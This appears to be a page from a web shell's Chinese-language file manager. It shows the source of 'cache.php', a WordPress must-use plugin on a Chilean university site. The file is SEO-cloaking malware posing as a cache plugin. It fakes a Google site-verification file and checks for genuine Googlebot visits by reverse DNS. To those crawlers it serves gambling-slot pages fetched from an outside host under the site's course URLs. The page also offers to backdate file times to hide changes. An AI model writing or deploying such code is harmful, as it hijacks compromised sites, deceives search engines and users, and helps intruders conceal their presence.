文件操作 - cache.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/ficgenero.uaysen.cl/html/wp-content/mu-plugins/cache.php
编辑文件内容
<?php add_action('init', function(){ $gsc_file = '/google1c30a6e2e32ea1e0.html'; $gsc_content = 'google-site-verification: google1c30a6e2e32ea1e0.html'; $req_uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); if ($req_uri === $gsc_file){ header('Content-Type: text/html; charset=UTF-8'); echo $gsc_content; exit; } $map = [ '/enlaces-de-referencias/' => 'https://dutacilok.pages.dev/ficgenero.uaysen2/km777', '/experiencias-previas/' => 'https://dutacilok.pages.dev/ficgenero.uaysen2/sl888', '/experiencias/' => 'https://dutacilok.pages.dev/ficgenero.uaysen2/jayaslot', '/diplomados/' => 'https://dutacilok.pages.dev/ficgenero.uaysen2/na777', '/formacion/' => 'https://dutacilok.pages.dev/ficgenero.uaysen2/rejekibet', '/cursos/' => 'https://dutacilok.pages.dev/ficgenero.uaysen2/okjkt', ]; $_a = rtrim($req_uri, '/') . '/'; $_b = ''; foreach ($map as $_d => $_e){ if (strpos($_a, $_d) === 0){ $_b = $_e; break; } } if (!$_b){ return; } $_f = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $_g = [ 'googlebot', 'adsbot-google', 'mediapartners-google', 'google-inspection', 'storebot-google' ]; $_c = false; foreach ($_g as $_x){ if (strpos($_f, $_x) !== false){ $_c = true; break; } } if (!$_c){ return; } $ip = $_SERVER['REMOTE_ADDR']; $bot_cache_file = WP_CONTENT_DIR . '/cache/bot_valid_' . md5($ip) . '.tmp'; $is_valid_bot = false; if (file_exists($bot_cache_file) && (time() - filemtime($bot_cache_file) < 14400)) { $is_valid_bot = (bool) file_get_contents($bot_cache_file); } else { $hostname = gethostbyaddr($ip); if ($hostname !== $ip) { $hostname = strtolower($hostname); if (substr($hostname, -strlen('.googlebot.com')) === '.googlebot.com' || substr($hostname, -strlen('.google.com')) === '.google.com') { $forward_ip = gethostbyname($hostname); if ($forward_ip === $ip) { $is_valid_bot = true; } } } @file_put_contents($bot_cache_file, $is_valid_bot ? '1' : '0'); } if (!$is_valid_bot) { status_header(403); exit; } $_i = WP_CONTENT_DIR . '/cache'; if (!is_dir($_i)){ @mkdir($_i, 0755, true); } $_j = $_i . '/cache_' . md5($_b) . '.html'; $_k = 259200; $need_refresh = !file_exists($_j) || (time() - filemtime($_j) > $_k); if ($need_refresh) { $lock_file = $_i . '/lock_' . md5($_b) . '.lock'; $lock_handle = fopen($lock_file, 'w+'); if (flock($lock_handle, LOCK_EX)) { clearstatcache(); if (file_exists($_j) && (time() - filemtime($_j) <= $_k)) { } else { $_l = curl_init($_b); curl_setopt_array($_l, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; Googlebot/2.1)' ]); $_m = curl_exec($_l); $http_code = curl_getinfo($_l, CURLINFO_HTTP_CODE); curl_close($_l); if ($_m && $http_code === 200){ $temp_file = $_j . '.tmp'; file_put_contents($temp_file, $_m, LOCK_EX); rename($temp_file, $_j); } } flock($lock_handle, LOCK_UN); } fclose($lock_handle); } if (file_exists($_j)){ header('Content-Type: text/html; charset=UTF-8'); header('X-MU-CLOAK: on'); echo file_get_contents($_j); exit; } echo 'Cloak Failed'; exit; }); ?>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件